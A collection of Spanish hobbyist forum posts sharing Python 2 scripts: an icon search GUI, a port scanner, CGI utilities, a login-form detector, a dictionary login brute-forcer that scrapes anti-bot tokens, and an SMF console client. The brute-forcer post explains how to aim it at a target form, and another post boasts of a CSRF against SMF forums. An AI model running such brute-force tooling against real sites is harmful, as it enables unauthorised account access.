self.connect(self.tabla, QtCore.SIGNAL('itemClicked(QTreeWidgetItem*, int)'), self.ver_link)
self.preview = QtWebKit.QWebView(self.grupo_preview)
self.preview.setGeometry(6, 16, 191, 115)
#Twitter Logo
# self.twitter = QtWebKit.QWebView(self)
# self.twitter.setGeometry(280, 0, 121, 80)
# self.twitter.setStyleSheet("background-color: transparent; ")
# self.twitter.setHtml("<center><a href='#' onclick='window.open(\"http://www.google.cl\")'><img src='%s' width=53 height=53 border=0></a></center>" % ("https://cdn3.iconfinder.com/data/icons/follow-me/256/Twitter-64.png"))
self.connect(self.input_busqueda, QtCore.SIGNAL("returnPressed()"), self.buscar)
self.connect(self, QtCore.SIGNAL("closeEvent()"), self.close)

def guardar(self):
archivo = QtGui.QFileDialog.getSaveFileName(self,
                self.tr("Guardar Archivo"), ".")
try:
loader = urllib.urlopen(str(self.url)).read()
file = open(archivo, "wb")
file.write(loader)
file.close()
self.msg.setText(_fromUtf8("Tu archivo se guardó con éxito"))
except:
self.msg.setText(_fromUtf8("¡Tu archivo no se pudo guardar!"))
pass
self.msg.exec_()
def ver_link(self, item, i):
self.url = item.text(3)
self.preview.setStyleSheet("background-color: transparent; ")
self.preview.setHtml("<center><img src='%s'></center>" % self.url)

def buscar(self):
self.tabla.clear()
q = str(self.input_busqueda.text())
icons_perpage = self.icons_perpage_spin.value()
min_size = self.minimum_size_spin.value()
max_size = self.maximum_size_spin.value()
page = self.go_page_spin.value()
url = urllib.urlopen("https://www.iconfinder.com/xml/search/?q=%s&c=%s&min=%s&max=%s&p=%s&api_key=4c5b276337af418894c87590412e4e39" % (q, icons_perpage, min_size, max_size, page)).read()
x = url.split("<icon>")
id = []
size = []
image = []
for d in x:
for idx in re.findall("<id>(.+?)<\/id>", d):
id.append(idx)
for sizex in re.findall("<size>(.+?)<\/size>", d):
size.append(sizex)
for imagex in re.findall("<image>(.+?)<\/image>", d):
image.append(imagex)
count = 1;
for i, idx, sizex, imagex in zip(range(len(id)), id, size, image):
exec("item_%s = QtGui.QTreeWidgetItem(self.tabla)"%i)
self.tabla.topLevelItem(i).setText(0, str(count))
self.tabla.topLevelItem(i).setText(1, str(idx))
self.tabla.topLevelItem(i).setText(2, str(sizex))
self.tabla.topLevelItem(i).setText(3, str(imagex))
count += 1
self.number_vpage_label.setText(str(page))
self.numero_results_label.setText(str(count-1))

app = QtGui.QApplication(sys.argv)
form = programa()
form.show()
app.exec_()

[Luego de meses o quizás año sin tocar la librería QT4 de Python]

Hola !

Luego de meses o quizás año sin tocar la librería QT4 de Python, hoy me quise re-encantar con dicha lib. Ya se me olvidó todo, a tal punto que tuve que re-leer el mismo tutorial que hice hace un tiempo, pero viendo algunos códigos viejos que hice, ya recordé algo ...

(...) Sin embargo no traigo un graaaaaan código, solo es un Escaner de puertos, con algo de CSS :

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-
# self.setGeometry(X, Y, Width, Height)

from PyQt4 import QtGui, QtCore
import sys
import httplib

class programa(QtGui.QWidget):

def __init__(self, parent=None):

QtGui.QWidget.__init__(self, parent)
self.setFixedSize(230, 110)
self.setWindowTitle("Escaner de Puertos")
self.setStyleSheet("background: #000;")
# URL , LABEL URL
self.url = QtGui.QLineEdit(self)
self.url.setGeometry(27, 10, 200, 20)
self.url.setStyleSheet("color: #fff; background: #000;")
self.url_label = QtGui.QLabel("URL:", self)
self.url_label.setStyleSheet("color: #fff;")
self.url_label.setGeometry(3, 10, 25, 20)
# PUERTO, LABEL PUERTO
self.puerto = QtGui.QLineEdit(self)
self.puerto.setGeometry(41, 35, 40, 20)
self.puerto.setStyleSheet("color: #fff; font-weight: bold; background: #000;")
self.puerto_label = QtGui.QLabel("Puerto:", self)
self.puerto_label.setStyleSheet("color: #fff;")
self.puerto_label.setGeometry(3, 36, 35, 20)
# STATUS, LABEL STATUS
self.status_label = QtGui.QLabel("Estado:", self)
self.status_label.setStyleSheet("color: #fff;")
self.status_label.setGeometry(3, 60, 50, 20)
self.esperando = QtGui.QLabel("Esperando", self)
self.esperando.setStyleSheet("color: red; font-weight: bold; background: #000;");
self.esperando.setGeometry(44, 60, 100, 20)
# BOTON
self.boton = QtGui.QPushButton("Scan!", self)
self.boton.setStyleSheet("color: #fff; background: #000; border: 2px solid #fff;")
self.boton.setGeometry(3, 85, 225, 20)
self.connect(self.boton, QtCore.SIGNAL("clicked()"), self.scan)

def scan(self):
url = str(self.url.text())
puerto = int(self.puerto.text())
try:
conn = httplib.HTTPConnection(url, puerto, timeout=2)
BODY = "***filecontents***"
conn.request("GET", "/", BODY)
resp = conn.getresponse()
if resp.status == 200:
self.esperando.setStyleSheet("color: green; font-weight: bold")
self.esperando.setText("%s Abierto" % puerto)
conn.close()
except:
self.esperando.setStyleSheet("color: red; font-weight: bold")
self.esperando.setText("%s Cerrado" % puerto)
app = QtGui.QApplication(sys.argv)
form = programa()
form.show()
app.exec_()


Saludos !

Hola, buen día a todos.

Decidí incursionar en Ruby, pues vengo de Python y se me hizo fácil la migración, incluso encuentro más simple ruby en eso de las REGEX, en fin, voy al grano...

En PyQT4 cuando yo creaba un objeto, lo ubicaba según X e Y además le daba las dimensiones al objeto, todo estoy con objecto.setGeometry() , entonces mi duda es ...

¿ Cuál es el equivalente de setGeometry en Ruby GTK ?

Saludos, Javier.

[¿ Qué es PyDB ?]

Hola, muy buenos días !

En esta oportunidad vengo a presentar un mini proyecto que estoy iniciando con mucho entusiasmo, espero algunas personas se animen y ayuden a expandir este módulo ! . Sin más preámbulos...


¿ Qué es PyDB ?

PyDB es un módulo que te ayudará a crear Bases de Datos a partir de archivos de texto, siempre y cuando estos archivos contengan una estructura legible para PyDB

¿ Dónde descargo el módulo ?

El enlace para descargar el módulo es PyDB - SourceForge
En el mismo README.txt está la documentación de cada función del PyDB, como se utilizan y los parámetros que le deben pasar a cada función.

Funciones :

• Añadir valor. (En SQL -> INSERT INTO)
• Eliminar valor. (En SQL -> DELETE FROM tabla WHERE columna=valor)
• Actualizar valor (En SQL -> UPDATE)
• Ver Tabla.
• Consultar valor (En SQL -> SELECT campo FROM tabla)
• Ver columnas de tabla .

¿ Cuál es la estrucutra de la Base de Datos ?

Base_Datos.Txt :

Código [Seleccionar] Expandir


Tabla(columna1, columna2){
    columna1=Contenido columna1; columna2=Contenido columna2;
}
Personas(nombre, edad, correo){
    nombre=Javier Guajardo; edad=19; correo=javier.guajardo@vodale.com;
    nombre=Juan Andres; edad=25; correo=contacto@dominio.com;
}

Ejemplo de login con PyDB , disponible para la descarga en Ejemplo PyDB - SourceForge

Nota: Recuerda tener el módulo db.py en la misma carpeta de donde invocarás el archivo.

Espero sus más sinceras opiniones !

Saludos, Javier.

[Python CGI]

Hola, buen día damas y caballeros .

En esta ocasión vengo a mostrar el código de fuente de unas aplicaciones que pasé a Python CGI , para poder ejecutarlas en el servidor y no depender de una maquina con Python instalado...

Sin más preámbulos, los enlaces son los siguientes:
   

• De/Codificar Base64
• Cifrado Rot13/AtBash (Original 11Sep)
• Enviar peticiones POST a Url

Sus respectivos códigos de fuente...
De/Codificador Base64:

Código (python) [Seleccionar] Expandir


#!/usr/bin/python
#Autor: 0x5d::JaAViEr
#Twitter: @0x5d
import cgi, os, base64

def form_inicial():
form_html = '''
<form action="" method="POST">
<textarea name="content"></textarea><br />
<select name="option">
<option value="encode">Codificar</option>
<option value="decode">Decodificar</option>
</select><br />
<input type="Submit" value="Enviar"><br />
Creado bajo Python CGI.<br />
Autor : JaAViEr (0x5d)
</form>'''
return base("De/Codificar Base64", form_html)

def base(title, content):
code = '''
<div class="ui-widget-content">
<div class="ui-widget-header">%s</div>
%s
</div>
'''%(title, content)
return code

print "content-type:text/html\r\n\r\n"

print '''
<title>De/Codificador Base64</title>
<script src="http://code.jquery.com/jquery-latest.js"></script>
<link rel="stylesheet" href="http://code.jquery.com/ui/1.9.1/themes/cupertino/jquery-ui.css" />
<script src="http://code.jquery.com/ui/1.9.1/jquery-ui.js"></script>
<link rel="stylesheet" href="http://jqueryui.com/resources/demos/style.css" />
<style>
div {
text-align:center;
font-size:0.5cm;
}
input, select {
height:0.7cm;
font-size:0.4cm;
}
</style>
'''

form = cgi.FieldStorage()
opcion = form.getvalue("option")
texto = form.getvalue("content")
method = os.environ['REQUEST_METHOD']
if method == "POST":
if opcion:
if opcion == "encode":
print form_inicial()
print base("Salida", "<textarea>"+cgi.escape(base64.b64encode(texto))+"</textarea>")
elif opcion == "decode":
print form_inicial()
print base("Salida", "<textarea>"+cgi.escape(base64.b64decode(texto))+"</textarea>")
else:
print form_inicial()
print base("Error", "Opción incorrecta")
else:
print form_inicial()
print base("Error", "Por favor selecciona una opción")
else:
print form_inicial()


Cifrar Rot13 / Atbash:

Código (python) [Seleccionar] Expandir


#!/usr/bin/python
#Autor: 11Sep
#To CGI: 0x5d::JaAViEr
#Twitter: @0x5d
import cgi, os

def  formulario_inicial():
form_html = '''
<form action="" method="POST">
Data: <br/>
<textarea name="contenido"></textarea><br />
<select name="opcion">
<option value="rot13">ROT13</option>
<option value="atbash">Atbash</option>
</select><br />
<input type="Submit"><br/>
Programado por <b>11Sep</b><br />
Programado en CGI por <b>JaAViEr::0x5d</b>
</form>
'''
return base("Cifrar Rot13/Atbash", form_html)

def base(title, content):
code = '''
<div class="ui-widget-content">
<div class="ui-widget-header">%s</div>
%s
</div>
'''%(title, content)
return code

def rot13(palabra):
   Cifrado = ''
   for i in palabra:
       buff = ord(i)
       if (buff >= 65 and buff <= 90) or (buff >= 97 and buff <= 122):
           if ((buff + 13 > 90 and buff + 13 <= 103) or (buff + 13 > 122 and buff + 13 <= 135)):
               Cifrado += chr(buff -13)
           else:
               Cifrado += chr(buff + 13)
   return Cifrado
   
def atbash(palabra):
   V1 = "abcdefghijklm"
   V2 = "zyxwvutsrqpon"
   
   Buff = ""
   
   for i in range(len(palabra)):
       for a in range(len(V1)):
           if V1[a] == palabra[i]:
               Buff += V2[a]
           elif V2[a] == palabra[i]:
               Buff += V1[a]
   return Buff

print "content-type:text/html\r\n\r\n"
print '''
<title>Cifrar Rot13/Atbash 11Sep::JaAViEr</title>
<script src="http://code.jquery.com/jquery-latest.js"></script>
<link rel="stylesheet" href="http://code.jquery.com/ui/1.9.1/themes/blitzer/jquery-ui.css" />
<script src="http://code.jquery.com/ui/1.9.1/jquery-ui.js"></script>
<link rel="stylesheet" href="http://jqueryui.com/resources/demos/style.css" />
<style>
div {
text-align:center;
font-size:0.5cm;
}
input, select {
height:0.7cm;
font-size:0.4cm;
}
</style>
'''
form = cgi.FieldStorage()
method = os.environ['REQUEST_METHOD']
contenido = form.getvalue("contenido")
opcion = form.getvalue("opcion")
if method == "POST":
if opcion:
if opcion == "rot13":
print formulario_inicial()
print base("Salida", "<textarea>"+rot13(contenido)+"</textarea>")
elif opcion == "atbash":
print formulario_inicial()
print base("Salida", "<textarea>"+atbash(contenido)+"</textarea>")
else:
print formulario_inicial()
print base("ERROR","Opción inválida")
else:
print formulario_inicial()
Enviar peticiones POST:

Código (python) [Seleccionar] Expandir


#!/usr/bin/python
#Autor: 0x5d::JaAViEr
#Twitter: @0x5d
import cgi, os, urllib, sys

def base(title, content):
code = '''
<div class="ui-widget-content">
<div class="ui-widget-header">%s</div>
%s
</div>
'''%(title, content)
return code

print "content-type:text/html\r\n\r\n"
print '''
<title>Enviar datos POST online :: JaAViEr(0x5d)</title>
<script src="http://code.jquery.com/jquery-latest.js"></script>
<link rel="stylesheet" href="http://code.jquery.com/ui/1.9.1/themes/cupertino/jquery-ui.css" />
<script src="http://code.jquery.com/ui/1.9.1/jquery-ui.js"></script>
<link rel="stylesheet" href="http://jqueryui.com/resources/demos/style.css" />
<style>
div {
text-align:center;
font-size:0.5cm;
}
input, select {
height:0.7cm;
font-size:0.4cm;
}
</style>
'''
form = cgi.FieldStorage()
method = os.environ['REQUEST_METHOD']
campos = form.getvalue("campos")
valores = form.getvalue("valores")
url = form.getvalue("url")
if method == "POST":
dic = {}
if not "http://" in url:
 print base("ERROR!","No se puede conectar a %s<br/><a href='send_post.py'>Volver</a>"%cgi.escape(url))
 sys.exit(1)
if len(campos)>0 and len(valores)>0:
for d,i in zip(campos.split(),valores.split(":-:")):
dic['%s'%d] = i
try:
print urllib.urlopen(url, urllib.urlencode(dic)).read()
except:
print "No se puede conectar a", cgi.escape(url)
else:
form_html = '''
<form action="" method="POST">
URL: <input type="Text" name="url" value="http://"><br />
Campos (separados por un espacio): <input type="Text" name="campos"><br />
Campos (separados por ":-:"): <input type="Text" name="valores"><br />
<input type="Submit"><br/>
Funcionando bajo Python CGI<br />
Author: <u>JaAViEr::0x5d</u>
</form>
'''
print base("ENVIAR DATOS POR POST", form_html)
form_example = '''
URL: <input type="Text" name="url" value="http://web.com/login.php" disabled><br />
Campos (separados por un espacio): <input type="Text" name="campos" value="user password" disabled><br />
Campos (separados por ":-:"): <input type="Text" name="valores" value="0x5d:-:miclave123" disabled><br />
<input type="Submit" onclick=alert("TEST");><br/>
'''
print base("Ejemplo de uso", form_example)

Fuente: http://www.vodale.com/blog/tools-python-cgi-source-jaavier0x5d/
   
Saludos , Javier.

[Volviendo a las canchas con Python]

Hola, muy buen día a todos.

Volviendo a las canchas con Python, os traigo un detector de formularios, con las siguientes características :

• Lee las urls dentro de un archivo de texto. Separando las url's por un ENTER
• El programa detecta todos los formularios de las webs
• Nos entregará propiedades del <form> , tipo "method", "name", "id", "onsubmit", etc
• Devuelve los campos input de cada formulario, junto a sus propiedades, tipo "name", "value", "type", "id", "class", etc

Sin más preámbulos... El código :

Código (python) [Seleccionar] Expandir


# Autor : 0x5d - JaAViEr
# Twitter : @0x5d
import sys, urllib2, re
try:
urls = open(raw_input("Archivo ::> "), "r")
except:
print "Error al intentar abrir el archivo."
sys.exit(1)
for a in urls:
web = urllib2.urlopen(a).read()
busca_form = re.findall("<form(.*)>", web)
for b in busca_form:
url_action = re.findall("action=(.*)", b)[0].split()[0].translate(None, "><\"'").replace("&amp;","&")
if len(url_action) == 0:
url_action = a.replace("&amp;","&")
print "\n\nURL:", url_action
print "\nPropiedades del <form>:"
formularios = web.split("<form")
f = 0
for c, d  in zip(b.split(), formularios):
propiedades = re.findall("(.*)=\"(.*)\"", c)
if propiedades and not "action" in propiedades[0][0]:
print propiedades[0][0], ":", propiedades[0][1]
inputs = re.findall("<input(.*)", web.split("<form")[f].split("</form>")[0])
f += 1
print "-"*20
for g in inputs:
print "<INPUT>:"
for h in g.split():
propiedades_input = re.findall("(.*)=(.*)", h)
if propiedades_input and len(propiedades_input[0][0])>0:
print propiedades_input[0][0], ":", propiedades_input[0][1].split(">")[0]
print "-"*20


Ejemplo de archivo urls.txt:

Código (text) [Seleccionar] Expandir


http://www.vodale.com/chat_xxx/login.php

Ojo que pueden poner muchas url's hacia abajo
Salida:

Código (text) [Seleccionar] Expandir


Archivo ::> urls.txt


URL: http://www.vodale.com/chat_xxx/login.php

Propiedades del <form>:
method : POST
--------------------
<INPUT>:
type : "text"
--------------------
name : "log"
--------------------
<INPUT>:
type : "text"
--------------------
name : pwd
--------------------
<INPUT>:
type : "Submit"
--------------------
value : "Login"
--------------------

Como ven, dice <INPUT> y abajo la propiedad de cada input.
Un ejemplo con la salida de un SMF...
urls.txt

Código (text) [Seleccionar] Expandir


http://www.portalhacker.net/index.php?action=login

Salida:

Código (text) [Seleccionar] Expandir



Archivo ::> urls.rxr


URL: http://www.portalhacker.net/index.php?PHPSESSID=17d1201149f3def8b534505196245624&action=login2

Propiedades del <form>:
id : guest_form
method : post
accept-charset : UTF-8
--------------------
<INPUT>:
type : "text"
--------------------
name : "user"
--------------------
size : "20"
--------------------
value : ""
--------------------
class : "input_text"
--------------------
<INPUT>:
type : "password"
--------------------
name : "passwrd"
--------------------
value : ""
--------------------
size : "20"
--------------------
class : "input_password"
--------------------
<INPUT>:
type : "text"
--------------------
name : "cookielength"
--------------------
size : "4"
--------------------
maxlength : "4"
--------------------
value : "90000"
--------------------
class : "input_text"
--------------------
<INPUT>:
type : "checkbox"
--------------------
name : "cookieneverexp"
--------------------
class : "input_check"
--------------------
onclick : "this.form.cookielength.disabled
--------------------
<INPUT>:
type : "submit"
--------------------
value : "Ingresar"
--------------------
class : "button_submit"
--------------------
<INPUT>:
type : "hidden"
--------------------
name : "hash_passwrd"
--------------------
value : ""
--------------------


URL: http://www.portalhacker.net/index.php?PHPSESSID=17d1201149f3def8b534505196245624&action=search2

Propiedades del <form>:
method : post
accept-charset : UTF-8
--------------------
<INPUT>:
type : "text"
--------------------
name : "search"
--------------------
class : "inputbox"
--------------------
value : "Buscar..."
--------------------
onfocus : "this.value
--------------------
onblur="if(this.value= : '')
--------------------
this.value : 'Buscar...';"
--------------------
<INPUT>:
type : "hidden"
--------------------
name : "advanced"
--------------------
value : "0"
--------------------


URL: http://www.portalhacker.net/index.php?PHPSESSID=17d1201149f3def8b534505196245624&action=login2

Propiedades del <form>:
name : frmLogin
id : frmLogin
method : post
--------------------
<INPUT>:
type : "text"
--------------------
name : "user"
--------------------
size : "20"
--------------------
value : ""
--------------------
class : "input_text"
--------------------
<INPUT>:
type : "password"
--------------------
name : "passwrd"
--------------------
value : ""
--------------------
size : "20"
--------------------
class : "input_password"
--------------------
<INPUT>:
type : "text"
--------------------
name : "cookielength"
--------------------
size : "4"
--------------------
maxlength : "4"
--------------------
value : "90000"
--------------------
class : "input_text"
--------------------
<INPUT>:
type : "checkbox"
--------------------
name : "cookieneverexp"
--------------------
class : "input_check"
--------------------
onclick : "this.form.cookielength.disabled
--------------------
<INPUT>:
type : "submit"
--------------------
value : "Ingresar"
--------------------
class : "button_submit"
--------------------
<INPUT>:
type : "hidden"
--------------------
name : "hash_passwrd"
--------------------
value : ""
--------------------

Ahí se aprecia mejor la salida de las propiedades del <form>

Lo hice con un poco de inspiración , sé que nadie va a comentar , pero igual lo dejo por acá , quizás a alguien le llegue a servir el bichito

Saludos , Javier.

[Hace meses que no programaba]

¡ Hola, buen día !

Hace meses que no programaba, entre viajes, no había donde ni como programar... Y hoy por la mañana me entusiasmé y me puse a codear un BruteForce para algunos formularios que son "débiles". El funcionamiento es el típico ... Solo que tiene algo que lo hace un poco (por no decir "NADA") diferente. Le añadí la opción de extraer tokens que usualmente utilizan para seguridad anti-bots (lo que deja demostrado que siguen siendo inútiles los tokens ). Sin más preámbulos, os enseñaré como utilizarlo .

Al correr el Python en cuestión , nos dirá "Se necesita token ?(s/n): "
Si el formulario que ustedes van a atacar, funciona con el sistemita ese de los tokens, entonces denle "s" o "S" y enter ... De ser así, os pedirá el nombre del campo del token que se envía , para así el programa buscarlo y poder enviarlo en cada petición...

De lo contrario, simplemente pongan n o N y al siguiente paso...

El siguiente es el vital y el que nos permitirá saber cuando nuestro login es válido ... Mensaje de error .

¿ Cómo saber dicho mensaje ?

Van al formulario, ingresan un usuario y contraseña incorrectos. Les devolverá algo tipo : "Credenciales inválidas", "Usuario o contraseña incorrectos", "Error al ingresar", ETC

Entonces nosotros tomamos una palabrita de ellas, "Error" o "incorrectos" o el que les salga a ustedes. Este mensaje es el que nos ayudará a ver que nuestro usuario & contraseña funcionen.

Posteriormente, el programa nos dirá "Campo user: " , que es el nombre del Input que envía el formulario , por ejemplo <input type="text" name="user"> , entonces ingresan "user".

Luego, "Campo password: ". Vamos al source y buscamos el type="password" , miramos su propiedad name (por ejemplo <input type="password" name="clave"> e ingresamos "clave" en el programa.

Seguido de eso, nos pedirá un "Archivo(Diccionario): " Que es con el diccionario que atacaremos el formulario, ahí ingresas la ruta de vuestro diccionario.

Y como ultima cosa, nos preguntará ... Campos adicionales ?(s/n)

Por si envía algún dato en hidden el formulario. La manera de insertar el campo es la siguiente:
NAME VALUE

Código [Seleccionar] Expandir


Data:redirect_to /wp-admin
Data:remember_me 1

Que sería el equivalente a

Código (html4strict) [Seleccionar] Expandir

<input type="hidden" name="redirect_to" value="/wp-admin">
<input type="hidden" name="remember_me" value="1">
Luego dirá "Data:" y para correr el bruteforce, tipeamos "//brute" y paff , buscará el login correcto.

Código (python) [Seleccionar] Expandir

# Autor   : 0x5d || JaAViEr
# Twitter : @0x5D

import urllib
import sys
import re
import urllib2

class brute:

def __init__(self):


self.nombre_token = ""
self.valor_token = ""
self.actualizar_formulario = ""
global formulario
formulario = {}
self.buscar_hash = raw_input("Se necesita token ?(s/n): ") 
self.buscar_hash = True if self.buscar_hash.lower() == "s" else False
self.url_form = "" # URL donde se encuentra el formulario
if self.buscar_hash:
if self.extraer_token():
print "Token FOUND"
else:
print "Token Not Found :( "
self.url_to_post = "" # URL donde se envia el formulario
self.mensaje_error = raw_input("Mensaje de Error: ") # Mensaje de error, para detectar un login correcto
self.campo_usuario = raw_input("Campo user: ") # Nombre del campo (input) del usuario
self.campo_password = raw_input("Campo password: ") # Nombre del campo (input) del password
self.archivo_diccionario = raw_input("Archivo(Diccionario): ") # Archivo con Diccionario
self.datos_adicionales = raw_input("Campos adicionales? (s/n): ")
self.respuesta_adicionales = True if self.datos_adicionales.lower() == "s" else False
self.estado_token = True
if self.respuesta_adicionales:
self.agregar_campos()
self.bruteforce()

def agregar_campos(self):
formulario = {}
while self.respuesta_adicionales:
data = raw_input('Data: ')
parse_data = data.split(" ")
if data != "//brute":
formulario.update({parse_data[0]:parse_data[1]})
print formulario
else:
break

def extraer_token(self):

estado_token = True
if len(self.nombre_token)<=0:
self.nombre_token = raw_input("Nombre del token: ")
while estado_token:
try:
buscar = urllib2.urlopen(self.url_form)
if self.nombre_token in buscar.read():

estado_token = False
buscar_token = urllib2.urlopen(self.url_form)
found = re.findall("name=\"%s\" (.*)"%self.nombre_token, buscar_token.read())
if len(found)>0:

for i in range(len(found)):

if "value=\"" in found[i]:
self.split_token = re.findall("value=\"(.*)\"", found[i])
self.valor_token = self.split_token[0]
return True
else:
return False
else:
return False
else:
return False
except:
return False

def bruteforce(self):
cookie = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookie)
urllib2.install_opener(opener)
estado_archivo = True
while estado_archivo:
try:
cargar_diccionario = open(self.archivo_diccionario, "r")
separar_datos = cargar_diccionario.read().split("\n")
estado_archivo = False
except:
print "No se encuentra el archivo mencionado"
self.archivo_diccionario = raw_input("Archivo(Diccionario): ")
print "Buscando el login correcto ..."
for users in separar_datos:

for passwords in separar_datos:

if self.buscar_hash:
datos_form = formulario.update({self.campo_usuario:users, self.campo_password:passwords, self.nombre_token:self.valor_token})
else:
datos_form = formulario.update({self.campo_usuario:users, self.campo_password:passwords})

enviar_formulario = urllib2.urlopen(self.url_to_post, urllib.urlencode(formulario))
if self.mensaje_error in enviar_formulario.read():
print ".",
else:
print "\nFound User:%s - Password:%s"%(users, passwords)
sys.exit(1)
cargar_diccionario.close()

bf = brute()
Le faltan mil cosas por pulir ... Luego lo pasaré para que lea parámetros por ARGV .

Para ingresar la URL del formulario deben editar la línea :

Código (python) [Seleccionar] Expandir


self.url_form = "" # URL DEL FORMULARIO
self.url_to_post = "" # URL DONDE SE ENVIA EL FORM

Ojo, que a veces el formulario envía el POST al mismo archivo, pero no siempre ! .
Pido el URL del formulario para poder extraer los tokens previo envío , posteriormente, envío todos los datos a la URL que procesa los datos

Espero sea de su agrado.

Fuente : http://www.vodale.com/blog

Saludos, Javier.

Hola, buen día.

Esto es como un mini CSRF que afecta varios SMF ...

Luego de leer esto, vayan al index y díganme si algo les cambió ... Si no es así CTRL + F5

Saludos, Javier.

Hola, buen día.

En mi afán de reducir códigos, hoy fue el turno de la Sucesión Fibonacci ... Hace un tiempo hice un código que era este :

Código (python) [Seleccionar] Expandir


n = [1,1]
while True:
    print n[-1]
    n.append(n[-1]+n[-2])

Y pues el ocio me la ganó y lo dejé en esto:

Código (python) [Seleccionar] Expandir

n, r = [1,1], lambda: (n,n.append(n[-1]+n[-2]))
while r(): print n[-1]
Incluso creo que es más reducible ...

Saludos, Javier.

Hola, muy buenos días.

Hace un rato me encontraba en uno de los peores momentos del ocio en mis 19 primaveras y pues me vino la idea (maybe bad) de poder navegar por un Foro SMF de una forma menos tradicional... Por consola.

La idea sería que podamos realizar acciones básicas-intermedias mediante la consola, por ejemplo, Leer mensajes privados, navegar por el index y sus subforos, posteriormente poder llegar a realizar cambios de contraseña o llegar a personalizar nuestro perfil, todo desde nuestra querida Shell.

Estuve unos minutos al pc antes de irme a clases y armé algo más o menos como una idea:

Código (python) [Seleccionar] Expandir


#-*-coding: utf-8 -*-
# Contacto : Twitter @0x5d - Correo : 0000x5d@gmail.com
import urllib, urllib2, re, os
from HTMLParser import HTMLParser

class Parseador(HTMLParser):
    def handle_data(self, data):
        print data

def clear():
    if os.name == "nt":
        os.system("cls")
    else:
        os.system("clear")

parseando = Parseador()
cookie = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookie)
urllib2.install_opener(opener)

try:
    print "Nota: Solo insertar http://www.elsitiosmf.com , sin /index.php"
    foro = raw_input("URL Foro SMF:")
    usuario = raw_input("Usuario:")
    clave = raw_input("Password:")
    datos = {"user":usuario, "passwrd":clave, "cookielength":"9000","hash_passwrd":""}
    login = urllib2.urlopen("%s/index.php?action=login2"%foro, urllib.urlencode(datos)).read()
    if "logout" in login:
        clear()
        var = urllib2.urlopen("%s/SSI.php?ssi_function=welcome"%foro).read()
        datos = re.findall("Hola, <strong>(.*)</strong>", var)
        print "Bienvenido", datos[0]
        while True:
            opciones_primarias = input("""
            1.- Ver MP's.
                2.- Navegar en el index.
               
            Ingresa una opcion:""")
            if opciones_primarias == 1:
                guarda_id = []
                guarda_asunto = []
                view_mp = urllib2.urlopen("%s/index.php?action=pm"%foro).read()
                print "Formato \nID :     ASUNTO "
                for id_msj, asunto_msj in re.findall("<a href=\"#msg(.*)\">(.*)</a>", view_mp):
                    guarda_id.append(id_msj)
                    guarda_asunto.append(asunto_msj)
                    print id_msj, asunto_msj
                leer_id = raw_input("Ingrese el ID del mensaje a Leer:")
                clear()
                if leer_id in guarda_id:
                    get_msj = re.findall("<div class=\"inner\" id=\"msg_%s\">(.*)</div>"%leer_id, view_mp)
                    print "Asunto:%s \n\n\nContenido del mensaje:"%guarda_asunto[guarda_id.index(leer_id)]
                    parseando.feed(get_msj[0])
                else:
                    print "No existe el ID ingresado"
            if opciones_primarias == 2:
                    board_name_array = []
                    board_id_array = []
                    index = urllib2.urlopen("%s/index.php"%foro).read()
                    print "Formato:\n Nombre del foro :  BOARD ID"
                    for nombre in re.findall("<a class=\"subject\"(.*)>(.*)</a>", index):
                        for board_id in re.findall("name=\"b([0-9]*)\"", nombre[0]):
                            print "Nombre:", nombre[1] , "| Board id:", board_id
                            board_name_array.append(nombre[1])
                            board_id_array.append(board_id)
                    opciones_index = input("""
                    1.- Entrar en una categoria.
                        2.- Volver al menu principal.

                    Ingresa tu opcion: """)
                    if opciones_index == 1:
                        board = raw_input("Inserta BOARD ID:")
                        if board in board_id_array:
                            enter_board = urllib2.urlopen("%s/index.php?board=%s"%(foro,board)).read()
                            if "Subforos" in enter_board:
                                respuesta_subforos = raw_input("Subforos detectados, mostrar nombres?(s/n)").lower()
                                if respuesta_subforos == "n":
                                    print "No se mostraran subforos"
                                else:
                                    print "SHOW CATEGORIES"
                                    #Aca se veran los subforos y posteriormente los mensajes en el foro + el ID
                            else:
                                print "Esta categoria no posee subforos"
                                # Aca se muestran los mensajes en el foro junto a su ID
                        else:
                            print "No existe el Board ID Ingresado."
    else:
        print "Usuario o Clave mal ingresados"
except:
    print "Not connected to %s"%foro

Con un par de líneas de código se puede hacer que el usuario que ingrese sea visitante.

Le hice que podamos leer mensajes privados a partir de su ID, además poder ver los foros en el index e ingresar a algunos de ellos, si algún foro posee sub-foro, el programa debe avisar antes... En fin, ustedes lean el código y me dicen si no es tan mala la idea o si es pésima

PD: No he añadido control de errores vía try & except, ya que es una fase "beta" . Una vez puestas las pilas en el código no se escapará ni un error

Saludos, Javier.

["Gestor de pagos de cuentas"]

Hola, buen día a todos !

Hace un rato que no subo nada de nada  , últimamente ando programando cosas, pero nada subo a la red :'( , así que programé un "Gestor de pagos de cuentas".

Tiene sencillas opciones:

1.- Ver cuentas.
2.- Agregar/Editar una cuenta.
3.- Informar pago de cuenta.
4.- Ver cuentas pagadas.
5.- Calcular cuanto he pagado en cuentas.
6.- Eliminar una cuenta pagada.
7.- Salir.


Pasaré a explicar algunas:

La primera opción nos permitirá visualizar las cuentas que hayamos ingresado anteriormente con la opción 2.

La segunda opción nos permitirá agregar alguna cuenta que tengamos pendientes en pagar. Nos pedirá el nombre de la cuenta, cuanto es el monto a cancelar y la fecha en la que debemos pagar la cuenta. El programa cuando se inicia verifica todas las cuentas y nos avisa que cuenta vence el día en que se ejecute.

La tercera opción nos dará la posibilidad de informar que ya hemos pagado una cuenta pendiente. Al entrar en esta opción nos mostrará las cuentas que no se han pagado, nos pedirá el nombre de la cuenta que vamos a señalar que está pagada, luego preguntará ¿Pagada?(s/n) , luego nos dirá si queremos conservar el registro de que esa cuenta fue pagada, en caso de ser "s" luego tendremos acceso a esos datos desde el menú, de lo contrario se perderán.

La opción cuatro solo nos mostrará en pantalla las cuentas que hemos pagado.

Opción 5 hará un calculo total de cuanto dinero hemos utilizado en el pago de nuestras cuentas, recuerda que si en la opción 3 no señalaste guardar un registro aquí no se sumará dicho gasto.

Mientras que la opción 6 nos mostrará por pantalla las cuentas que ya hemos pagado, dándonos la posibilidad de eliminar uno de los registros.

Sin más preámbulos , el código:

Código (python) [Seleccionar] Expandir

#-*- coding: utf-8 -*-
import datetime, re, os, sys

def clear_screen():
os.system("cls") if(os.name=='nt') else os.system("clear")

if not os.path.isdir("cuentas"):
respuesta = raw_input("""
No están las carpetas necesarias para el correcto
Funcionamiento del programa
           ¿Desea crerlas? (s/n): """).lower()
